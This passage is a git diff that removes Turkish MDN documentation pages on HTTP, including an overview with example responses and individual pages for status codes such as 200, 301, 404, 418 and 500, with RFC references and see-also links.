sayfası isteği yanıtı:</p> - -<pre>HTTP/1.1 200 OK -Content-Type: text/html; charset=utf-8 -Content-Length: 55743 -Connection: keep-alive -Cache-Control: s-maxage=300, public, max-age=0 -Content-Language: en-US -Date: Thu, 06 Dec 2018 17:37:18 GMT -ETag: "2e77ad1dc6ab0b53a2996dfd4653c1c3" -Server: meinheld/0.6.1 -Strict-Transport-Security: max-age=63072000 -X-Content-Type-Options: nosniff -X-Frame-Options: DENY -X-XSS-Protection: 1; mode=block -Vary: Accept-Encoding,Cookie -Age: 7 - - -<!DOCTYPE html> -<html lang="en"> -<head> - <meta charset="utf-8"> - <title>A simple webpage</title> -</head> -<body> - <h1>Simple HTML5 webpage</h1> - <p>Hello, world!</p> -</body> -</html> -</pre> - -<p>İstenen kaynağın kalıcı olarak taşındığını belirten bildirim:</p> - -<pre>HTTP/1.1 301 Moved Permanently -Server: Apache/2.4.37 (Red Hat) -Content-Type: text/html; charset=utf-8 -Date: Thu, 06 Dec 2018 17:33:08 GMT -Location: <a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a> <strong><em>(bu kaynağın taşındığı yeni bağlantıdır</em><em>; kullanıcı aracısının bunu getirmesi beklenir)</em></strong> -Keep-Alive: timeout=15, max=98 -Accept-Ranges: bytes -Via: Moz-Cache-zlb05 -Connection: Keep-Alive -Content-Length: 325 <em>(<strong>içerikte kullanıcı aracısının bağlantıyı takip edememesi halinde gösterilecek varsayılan sayfa bulunur)</strong></em> - - -<!DOCTYPE html... <strong><em>(kullanıcının eksik kaynağı bulmasına yardımcı olan özelleştirilmiş bir sayfa içerir)</em></strong> -</pre> - -<p>İstenen kaynağın bulunamadığını belirten bildirim:</p> - -<pre>HTTP/1.1 404 Not Found -Content-Type: text/html; charset=utf-8 -Content-Length: 38217 -Connection: keep-alive -Cache-Control: no-cache, no-store, must-revalidate, max-age=0 -Content-Language: en-US -Date: Thu, 06 Dec 2018 17:35:13 GMT -Expires: Thu, 06 Dec 2018 17:35:13 GMT -Server: meinheld/0.6.1 -Strict-Transport-Security: max-age=63072000 -X-Content-Type-Options: nosniff -X-Frame-Options: DENY -X-XSS-Protection: 1; mode=block -Vary: Accept-Encoding,Cookie -X-Cache: Error from cloudfront - - -<!DOCTYPE html... <strong><em>(kullanıcının eksik kaynağı bulmasına yardımcı olan özelleştirilmiş bir sayfa içerir)</em></strong> -</pre> - -<h3 id="Yanıt_durumu_kodları">Yanıt durumu kodları</h3> - -<p><a href="/tr/docs/Web/HTTP/Status">HTTP yanıt durumu kodları</a> belirli bir HTTP isteğinin başarıyla tamamlanıp tamamlanmadığını gösterir. Yanıtlar beş sınıfa ayrılır: bilgilendirme yanıtları, başarı yanıtları, yönlendirmeler, istemci hataları ve sunucu hataları.</p> - -<ul> - <li>{{HTTPStatus(200)}}: Tamam. İstek başarılı oldu.</li> - <li>{{HTTPStatus(301)}}: Kalıcı olarak taşındı. Bu yanıt kodu, istenen kaynağın URI'sinin değiştirildiği anlamına gelir.</li> - <li>{{HTTPStatus(404)}}: Bulunamadı. Sunucu istenen kaynağı bulamıyor demektir.</li> -</ul> - -<h2 id="Bakınız">Bakınız</h2> - -<ul> - <li><a href="/tr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Web'de kaynakları belirleme</a></li> - <li><a href="/tr/docs/Web/HTTP/Headers">HTTP başlıkları</a></li> - <li><a href="/tr/docs/Web/HTTP/Methods">HTTP istek metotları</a></li> - <li><a href="/tr/docs/Web/HTTP/Status">HTTP yanıt durumu kodları </a></li> -</ul> diff --git a/files/tr/web/http/status/200/index.html b/files/tr/web/http/status/200/index.html deleted file mode 100644 index a0f72e76f1..0000000000 --- a/files/tr/web/http/status/200/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: 200 OK -slug: Web/HTTP/Status/200 -tags: - - 200OK nedir - - 200OK oluşturma -translation_of: Web/HTTP/Status/200 ---- -<div>{{HTTPSidebar}}</div> - -<p>HTTP cevap durum kodu <strong><code>200 OK</code></strong> isteğin başarılı olduğunu ifade eder. Bu durum koduna sahip cevaplar, varsayılan olarak önbelleğe (cache) alınabilir.</p> - -<p>Başarılı isteğin ne anlama geldiği, yapılan HTTP isteğin türüne bağlıdır:</p> - -<ul> - <li>{{HTTPMethod("GET")}}: İstenilen kaynak bulundu ve dönen cevabın gövdesinde gönderildi.</li> - <li>{{HTTPMethod("HEAD")}}: Bütün başlık mesajları (HEADER) cevabın gövdesi olarak döner.</li> - <li>{{HTTPMethod("POST")}}: Yapılan isteğe karşılık gelen sonuç, cevabın gövdesinde gönderilir.</li> - <li>{{HTTPMethod("TRACE")}}: Sunucu, aldığı isteği cevabın gövdesi olarak gönderir.</li> -</ul> - -<p>Başarılı olan {{HTTPMethod("PUT")}} veya {{HTTPMethod("DELETE")}} isteği sonucunda dönen cevap genellikle <code>200</code> <code>OK</code> değil, <code>{{HTTPStatus("204")}}</code><code>No Content (veya bir kaynak ilk kez oluşturulmuşsa {{HTTPStatus("201")}}) Created)</code> olur.</p> - -<h2 id="Durum">Durum</h2> - -<pre class="syntaxbox notranslate">200 OK</pre> - -<h2 id="Şartnameler">Şartnameler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - <tr> - <td>{{RFC("7231", "200 OK" , "6.3.1")}}</td> - <td>Hypertext Transfer Protokolü (HTTP/1.1): Anlam ve İçerikler</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - -<p class="hidden">Tarayıcı uyumluluğu tablosu, hazır verilerden otomatik olarak oluşturulmuştur. Eğer bu verilere katkıda bulunmak isteseniz, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> adresine gidin ve bize bir çekme isteğinde (pull request) bulunun.</p> - -<p>{{Compat("http.status.200")}}</p> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP istek metodları</a></li> -</ul> diff --git a/files/tr/web/http/status/205/index.html b/files/tr/web/http/status/205/index.html deleted file mode 100644 index d212490377..0000000000 --- a/files/tr/web/http/status/205/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: 205 Reset Content -slug: Web/HTTP/Status/205 -translation_of: Web/HTTP/Status/205 ---- -<p>{{HTTPSidebar}}</p> - -<p>The HTTP <strong><code>205 Reset Content</code></strong> response status tells the client to reset the document view, so for example to clear the content of a form, reset a canvas state, or to refresh the UI.</p> - -<h2 id="Status">Status</h2> - -<pre class="syntaxbox">205 Reset Content</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - <tr> - <td>{{RFC("7231", "205 Reset Content" , "6.3.6")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> - -<h2 id="Compatibility_Notes">Compatibility Notes</h2> - -<ul> - <li>Browser behavior differs if this response erroneously includes a body on persistent connections See <a href="/en-US/docs/Web/HTTP/Status/204">204 No Content</a> for more detail.</li> -</ul> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{HTTPStatus(204)}} No Content</li> -</ul> diff --git a/files/tr/web/http/status/301/index.html b/files/tr/web/http/status/301/index.html deleted file mode 100644 index a2dcab9a0d..0000000000 --- a/files/tr/web/http/status/301/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: 301 Kalıcı Yönlendirme -slug: Web/HTTP/Status/301 -translation_of: Web/HTTP/Status/301 ---- -<div>{{HTTPSidebar}}</div> - -<p>The HyperText Transfer Protocol (HTTP) <code><strong>301 Moved Permanently</strong></code> redirect status response code indicates that the resource requested has been definitively moved to the URL given by the {{HTTPHeader("Location")}} headers. A browser redirects to this page and search engines update their links to the resource (in 'SEO-speak', it is said that the 'link-juice' is sent to the new URL).</p> - -<p>Even if the specification requires the method (and the body) not to be altered when the redirection is performed, not all user-agents align with it - you can still find this type of bugged software out there. It is therefore recommended to use the <code>301</code> code only as a response for {{HTTPMethod("GET")}} or {{HTTPMethod("HEAD")}} methods and to use the {{HTTPStatus("308", "308 Permanent Redirect")}} for {{HTTPMethod("POST")}} methods instead, as the method change is explicitly prohibited with this status.</p> - -<h2 id="Status">Status</h2> - -<pre class="syntaxbox notranslate">301 Moved Permanently</pre> - -<h2 id="Example">Example</h2> - -<h3 id="Client_request">Client request</h3> - -<pre class="notranslate">GET /index.php HTTP/1.1 -Host: www.example.org</pre> - -<h3 id="Server_response">Server response</h3> - -<pre class="notranslate">HTTP/1.1 301 Moved Permanently -Location: http://www.example.org/index.asp</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - <tr> - <td>{{RFC("7231", "301 Moved Permanently" , "6.4.2")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("http.status.301")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{HTTPStatus("308", "308 Permanent Redirect")}}</li> - <li>{{HTTPStatus("302", "302 Found")}}, the temporary redirect</li> - <li><a href="https://www.exai.com/blog/301-redirects">301 Redirect </a></li> -</ul> diff --git a/files/tr/web/http/status/302/index.html b/files/tr/web/http/status/302/index.html deleted file mode 100644 index 061e7bfaa2..0000000000 --- a/files/tr/web/http/status/302/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: 302 Geçici Yönlendirme -slug: Web/HTTP/Status/302 -translation_of: Web/HTTP/Status/302 ---- -<div>{{HTTPSidebar}}</div> - -<p>The HyperText Transfer Protocol (HTTP) <code><strong>302 Found</strong></code> redirect status response code indicates that the resource requested has been temporarily moved to the URL given by the {{HTTPHeader("Location")}} header. A browser redirects to this page but search engines don't update their links to the resource (in 'SEO-speak', it is said that the 'link-juice' is not sent to the new URL).</p> - -<p>Even if the specification requires the method (and the body) not to be altered when the redirection is performed, not all user-agents conform here - you can still find this type of bugged software out there. It is therefore recommended to set the <code>302</code> code only as a response for {{HTTPMethod("GET")}} or {{HTTPMethod("HEAD")}} methods and to use {{HTTPStatus("307", "307 Temporary Redirect")}} instead, as the method change is explicitly prohibited in that case.</p> - -<p>In the cases where you want the method used to be changed to {{HTTPMethod("GET")}}, use {{HTTPStatus("303", "303 See Other")}} instead. This is useful when you want to give a response to a {{HTTPMethod("PUT")}} method that is not the uploaded resource but a confirmation message such as: 'you successfully uploaded XYZ'.</p> - -<h2 id="Status">Status</h2> - -<pre class="syntaxbox notranslate">302 Found</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("7231", "302 Found" , "6.4.3")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("http.status.302")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{HTTPStatus("307", "307 Temporary Redirect")}}, the equivalent of this status code where the method used never changes.</li> - <li>{{HTTPStatus("303", "303 See Other")}}, a temporary redirect that changes the method used to {{HTTPMethod("GET")}}.</li> - <li>{{HTTPStatus("301", "301 Moved Permanently")}}, the permanent redirect.</li> -</ul> diff --git a/files/tr/web/http/status/400/index.html b/files/tr/web/http/status/400/index.html deleted file mode 100644 index 2d6f8ea50a..0000000000 --- a/files/tr/web/http/status/400/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: 400 Kötü İstek -slug: Web/HTTP/Status/400 -translation_of: Web/HTTP/Status/400 ---- -<p>{{HTTPSidebar}}</p> - -<p>The HyperText Transfer Protocol (HTTP) <code><strong>400 Bad Request</strong></code> response status code indicates that the server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid request message framing, or deceptive request routing).</p> - -<div class="warning"> -<p>The client should not repeat this request without modification.</p> -</div> - -<h2 id="Status">Status</h2> - -<pre class="syntaxbox notranslate">400 Bad Request </pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - <tr> - <td>{{RFC("7231", "400 Bad Request" , "6.5.1")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> - -<h2 id="See_Also">See Also</h2> - -<ul> - <li><a href="https://www.exai.com/blog/400-bad-request-error">400 Bad Request </a></li> -</ul> diff --git a/files/tr/web/http/status/401/index.html b/files/tr/web/http/status/401/index.html deleted file mode 100644 index 1eb6e7c0d7..0000000000 --- a/files/tr/web/http/status/401/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: 401 Yetkisiz -slug: Web/HTTP/Status/401 -translation_of: Web/HTTP/Status/401 ---- -<div>{{HTTPSidebar}}</div> - -<p>The HTTP <strong><code>401 Unauthorized</code></strong> client error status response code indicates that the request has not been applied because it lacks valid authentication credentials for the target resource.</p> - -<p>This status is sent with a {{HTTPHeader("WWW-Authenticate")}} header that contains information on how to authorize correctly.</p> - -<p>This status is similar to {{HTTPStatus("403")}}, but in this case, authentication is possible.</p> - -<h2 id="Status">Status</h2> - -<pre class="syntaxbox notranslate">401 Unauthorized</pre> - -<h2 id="Example_response">Example response</h2> - -<pre class="notranslate">HTTP/1.1 401 Unauthorized -Date: Wed, 21 Oct 2015 07:28:00 GMT -WWW-Authenticate: Basic realm="Access to staging site"</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - <tr> - <td>{{RFC("7235", "401 Unauthorized" , "3.1")}}</td> - <td>HTTP/1.1: Authentication</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> - -<p>{{Compat("http.status.401")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li> - <li>{{HTTPHeader("WWW-Authenticate")}}</li> - <li>{{HTTPHeader("Authorization")}}</li> - <li>{{HTTPHeader("Proxy-Authorization")}}</li> - <li>{{HTTPHeader("Proxy-Authenticate")}}</li> - <li>{{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> -</ul> diff --git a/files/tr/web/http/status/402/index.html b/files/tr/web/http/status/402/index.html deleted file mode 100644 index bc74ce45f1..0000000000 --- a/files/tr/web/http/status/402/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: 402 Ödeme Gerekli -slug: Web/HTTP/Status/402 -translation_of: Web/HTTP/Status/402 ---- -<div>{{HTTPSidebar}}{{SeeCompatTable}}</div> - -<p>The HTTP <strong><code>402 Payment Required</code></strong> is a nonstandard client error status response code that is reserved for future use.</p> - -<p>Sometimes, this code indicates that the request can not be processed until the client makes a payment. Originally it was created to enable digital cash or (micro) payment systems and would indicate that the requested content is not available until the client makes a payment. However, no standard use convention exists and different entities use it in different contexts.</p> - -<h2 id="Status">Status</h2> - -<pre class="syntaxbox notranslate">402 Payment Required</pre> - -<h2 id="Example_response">Example response</h2> - -<pre class="brush: bash notranslate">HTTP/1.1 402 Payment Required -Date: Wed, 21 Oct 2015 07:28:00 GMT -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("7231", "402 Payment Required" , "6.5.2")}}</td> - <td>HTTP/1.1: Semantics and Content</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("http.status.402")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li> -</ul> diff --git a/files/tr/web/http/status/403/index.html b/files/tr/web/http/status/403/index.html deleted file mode 100644 index e167459808..0000000000 --- a/files/tr/web/http/status/403/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: 403 Yasaklı -slug: Web/HTTP/Status/403 -translation_of: Web/HTTP/Status/403 ---- -<div>{{HTTPSidebar}}</div> - -<p>The HTTP <strong><code>403 Forbidden</code></strong> client error status response code indicates that the server understood the request but refuses to authorize it.</p> - -<p>This status is similar to {{HTTPStatus("401")}}, but in this case, re-authenticating will make no difference. The access is permanently forbidden and tied to the application logic, such as insufficient rights to a resource.</p> - -<h2 id="Status">Status</h2> - -<pre class="syntaxbox notranslate">403 Forbidden</pre> - -<h2 id="Example_response">Example response</h2> - -<pre class="notranslate">HTTP/1.1 403 Forbidden -Date: Wed, 21 Oct 2015 07:28:00 GMT -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("7231", "403 Forbidden" , "6.5.3")}}</td> - <td>HTTP/1.1: Semantics and Content</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> - -<p>{{Compat("http.status.403")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{HTTPStatus("401")}}</li> - <li><a href="https://kinsta.com/blog/403-forbidden-error/">403 forbidden error</a></li> - <li><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html" rel="noopener">HTTP/1.1: Status Code Definitions</a></li> - <li><a href="https://www.exai.com/blog/403-forbidden">403 forbidden </a></li> -</ul> diff --git a/files/tr/web/http/status/404/index.html b/files/tr/web/http/status/404/index.html deleted file mode 100644 index 15189bdf9f..0000000000 --- a/files/tr/web/http/status/404/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: 404 Bulunamadı -slug: Web/HTTP/Status/404 -translation_of: Web/HTTP/Status/404 ---- -<div>{{HTTPSidebar}}</div> - -<p>The HTTP <code><strong>404 Not Found</strong></code> client error response code indicates that the server can't find the requested resource. Links which lead to a 404 page are often called broken or dead links, and can be subject to <a href="https://en.wikipedia.org/wiki/Link_rot">link rot</a>.</p> - -<p>A 404 status code does not indicate whether the resource is temporarily or permanently missing. But if a resource is permanently removed, a {{HTTPStatus("410")}} (Gone) should be used instead of a 404 status.</p> - -<h2 id="Status">Status</h2> - -<pre class="syntaxbox notranslate">404 Not Found</pre> - -<h2 id="Custom_error_pages">Custom error pages</h2> - -<p>Many web sites customize the look of a 404 page to be more helpful to the user and provide guidance on what to do next. Apache servers can be configured using an <code>.htaccess</code> file and a code snippet like the following example.</p> - -<pre class="brush: bash notranslate">ErrorDocument 404 /notfound.html</pre> - -<p>For an example of a custom 404 page, see <a href="https://developer.mozilla.org/en-US/404">MDN's 404 page</a>.</p> - -<div class="note"> -<p>Custom design is a good thing, in moderation. Feel free to make your 404 page humorous and human, but don't confuse your users.</p> -</div> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("7231", "404 Not Found" , "6.5.4")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> - -<p>{{Compat("http.status.404")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{HTTPStatus("410")}}</li> - <li> - <p>{{interwiki("wikipedia", "HTTP_404", "Wikipedia: HTTP 404")}}</p> - </li> - <li> - <p><a class="external" href="https://www.exai.com/blog/404-http-error" rel="noopener">404 Error </a></p> - </li> -</ul> diff --git a/files/tr/web/http/status/405/index.html b/files/tr/web/http/status/405/index.html deleted file mode 100644 index ef06ed441a..0000000000 --- a/files/tr/web/http/status/405/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: 405 İzin Verilmeyen Metot -slug: Web/HTTP/Status/405 -tags: - - Durum kodu -translation_of: Web/HTTP/Status/405 ---- -<div>{{HTTPSidebar}}</div> - -<p>HyperText Transfer Protocol (HTTP) <code><strong>405 Method Not Allowed</strong></code> durum kodu sunucunun istek metodunu bilmesine rağmen istenen kaynak tarafından metodun desteklenmediği anlamına gelir.</p> - -<p class="newpage">Sunucu MUTLAKA <strong><code>Allow</code></strong> başlığı ile istenen kaynağın şu an desteklediği metotları listeleyen bir 405 cevabı vermelidir.</p> - -<h2 id="Durum">Durum</h2> - -<pre class="syntaxbox notranslate">405 Method Not Allowed</pre> - -<h2 id="Detaylar">Detaylar</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("7231", "405 Method Not Allowed" , "6.5.5")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> - -<h2 id="Bakınız">Bakınız</h2> - -<ul> - <li>{{HTTPHeader("Allow")}}</li> - <li><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html" rel="noopener">HTTP/1.1: Status Code Definitions</a></li> - <li><a href="https://kinsta.com/blog/405-method-not-allowed-error/">How to Fix 405 Method Not Allowed</a></li> - <li><a href="https://docs.microsoft.com/en-us/aspnet/web-api/overview/testing-and-debugging/troubleshooting-http-405-errors-after-publishing-web-api-applications">Troubleshooting HTTP 405</a></li> -</ul> diff --git a/files/tr/web/http/status/418/index.html b/files/tr/web/http/status/418/index.html deleted file mode 100644 index 14ec22a3aa..0000000000 --- a/files/tr/web/http/status/418/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: 418 Ben Çaydanlığım -slug: Web/HTTP/Status/418 -translation_of: Web/HTTP/Status/418 ---- -<p>{{HTTPSidebar}}</p> - -<p>The HTTP <strong><code>418 I'm a teapot</code></strong> client error response code indicates that the server refuses to brew coffee because it is, permanently, a teapot. A combined coffee/tea pot that is temporarily out of coffee should instead return 503. This error is a reference to Hyper Text Coffee Pot Control Protocol defined in April Fools' jokes in 1998 and 2014.</p> - -<h2 id="Status">Status</h2> - -<pre class="syntaxbox notranslate">418 I'm a teapot</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("2324", "418 I'm a teapot" , "2.3.2")}}</td> - <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0): Semantics and Content</td> - </tr> - <tr> - <td>{{RFC("7168", "418 I'm a teapot" , "2.3.3")}}</td> - <td>The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances (HTCPCP-TEA): Response Codes</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> - -<p>{{Compat("http.status.418")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{interwiki("wikipedia", "Hyper Text Coffee Pot Control Protocol", "Wikipedia: Hyper Text Coffee Pot Control Protocol")}}</li> -</ul> diff --git a/files/tr/web/http/status/500/index.html b/files/tr/web/http/status/500/index.html deleted file mode 100644 index 30f4e0fa77..0000000000 --- a/files/tr/web/http/status/500/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: 500 İç Sunucu Hatası -slug: Web/HTTP/Status/500 -tags: - - Durum kodu - - HTTP - - Sunucu hatası -translation_of: Web/HTTP/Status/500 ---- -<div>{{HTTPSidebar}}</div> - -<p>HTTP <code><strong>500 İç Sunucu Hatası</strong></code> <span id="result_box" lang="tr"><span>sunucu hata yanıt kodu, sunucunun isteği yerine getirmesini engelleyen beklenmedik bir durumla karşılaştığını gösterir.</span></span></p> - -<p><span id="result_box" lang="tr"><span>Bu hata yanıtı genel bir "tümünü yakalama" yanıtıdır.</span> <span>Çoğu zaman sunucu yöneticileri, hatanın gelecekte tekrar oluşmasını önlemek için 500 durum kodu gibi hata yanıtlarını günlüğe kaydederler.</span></span></p> - -<h2 id="Durum">Durum</h2> - -<pre class="syntaxbox">500 İç Sunucu Hatası</pre> - -<h2 id="Tanımlar">Tanımlar</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Tanım</th> - <th scope="col">Başlık</th> - </tr> - <tr> - <td>{{RFC("7231", "500 Internal Server Error" , "6.6.1")}}</td> - <td>Köprü Metni Aktarım Protokolü (HTTP / 1.1): Anlambilim ve İçerik</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> - -<p>{{Compat("http.status.500")}}</p> diff --git a/files/tr/web/http/status/index.html b/files/tr/web/http/status/index.html deleted file mode 100644 index 68c768ecc5..0000000000 --- a/files/tr/web/http/status/index.html +++ /dev/null @@ -1,193 +0,0 @@ ---- -title: HTTP yanıt durumu kodları -slug: Web/HTTP/Status -tags: - - HTTP - - NeedsTranslation - - Status codes - - TopicStub -translation_of: Web/HTTP/Status ---- -<div>{{HTTPSidebar}}</div> - -<p>HTTP yanıt durumu kodları belirli bir <a href="/tr/docs/Web/HTTP">HTTP</a> isteğinin başarıyla tamamlanıp tamamlanmadığını gösterir. Yanıtları beş sınıfa ayrılır:<br> - <br> - 1. Bilgilendirme yanıtları (100-199),<br> - 2. Başarı yanıtları (200-299),<br> - 3. Yönlendirmeler (300-399),<br> - 4. İstemci hataları (400-499) ve,<br> - 5. Sunucu hataları (500-599).</p> - -<p>Durum kodları<a href="https://tools.ietf.org/html/rfc2616#section-10"> RFC 2616 bölüm 10</a>'da tanımlanmıştır. Güncellenmiş bir özelliği <a href="https://tools.ietf.org/html/rfc7231#section-6.5.1">RFC 7231</a>'de bulabilirsiniz.</p> - -<div class="blockIndicator note"> -<p>Bu listede olmayan bir yanıt alırsanız, bu, muhtemelen sunucunun yazılımına özel, standart dışı bir yanıttır.</p> - -<p>Cevaplar (İngilizce) Orjinal olarak döndürüleceğinden - cevabın Türkçesi yanında verilmiştir. </p> -</div> - -<h2 id="Bilgilendirme_yanıtları">Bilgilendirme yanıtları</h2> - -<dl> - <dt>{{HTTPStatus(100, "100 Continue")}} - "100 Devam et"</dt> - <dd>Bu ara cevap, şu ana kadar her şeyin yolunda gittiğini ve müşterinin isteğine devam etmesi ya da bitmişse bu bilgiyi yoksayması gerektiğini gösterir.</dd> - <dt>{{HTTPStatus(101, "101 101 Switching Protocol")}} - "101 Protokol Değiştiriliyor"</dt> - <dd>Bu kod istemci tarafından gönderilen istekteki {{HTTPHeader("Upgrade")}} başlığına yanıt olarak gönderilir ve sunucunun hangi protokole geçtiğini belirtir.</dd> - <dt>{{HTTPStatus(102, "102 Processing")}} ({{Glossary("WebDAV")}}) - "102 İşleniyor" - Sözlük("WebDAV") </dt> - <dd>Bu kod sunucunun isteği aldığını ve işlemekte olduğunu ancak henüz yanıt vermediğini bildirir.<br> - <strong>WebDAV(Web Distributed Authoring and Versioning</strong><strong>):</strong> World Wide Web sunucularında depolanmış belge ve dosyaları düzenleme ve yönetmede kullanıcılar arasında iş birliğini kolaylaştıran bir Hiper Metin Aktarım Protokolü uzantısıdır.</dd> - <dt>{{HTTPStatus(103, "103 Early Hints")}} -"103 Ön İpucu"</dt> - <dd>Bu durum kodunun esas olarak {{HTTPHeader ("Link")}} başlığıyla kullanılması amaçlanmıştır ve sunucu bir yanıt hazırlarken kullanıcı aracısının kaynakları <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Preloading_content">önyüklemeye</a> başlamasını sağlar.</dd> -</dl> - -<h2 id="Başarı_yanıtları">Başarı yanıtları</h2> - -<dl> - <dt>{{HTTPStatus(200, "200 Tamam")}}</dt> - <dd>İstek başarılı oldu. Buradaki başarı, HTTP metoduna göre farklı anlamlara gelir:<br> - GET: Kaynak alındı ve mesaj gövdesinde iletildi.<br> - HEAD: Varlık başlıkları mesaj gövdesindedir.<br> - PUT veya POST: Eylemin sonucunu açıklayan kaynak mesaj gövdesinde iletildi.<br> - TRACE: Mesaj gövdesinde sunucu tarafından alındığı şekliyle istek mesajı bulunuyor.</dd> - <dt>{{HTTPStatus(201, "201 Oluşturuldu")}}</dt> - <dd>"İstek başarılı oldu ve bunun sonucunda yeni bir kaynak oluşturuldu."<br> - Genellikle POST veya PUT isteklerinden sonra gönderilen yanıt budur.</dd> - <dt>{{HTTPStatus(202, "202 Kabul edildi")}}</dt> - <dd>"Talep alındı, ancak henüz işlem yapılmadı." HTTP'de daha sonra isteğin sonucunu belirten 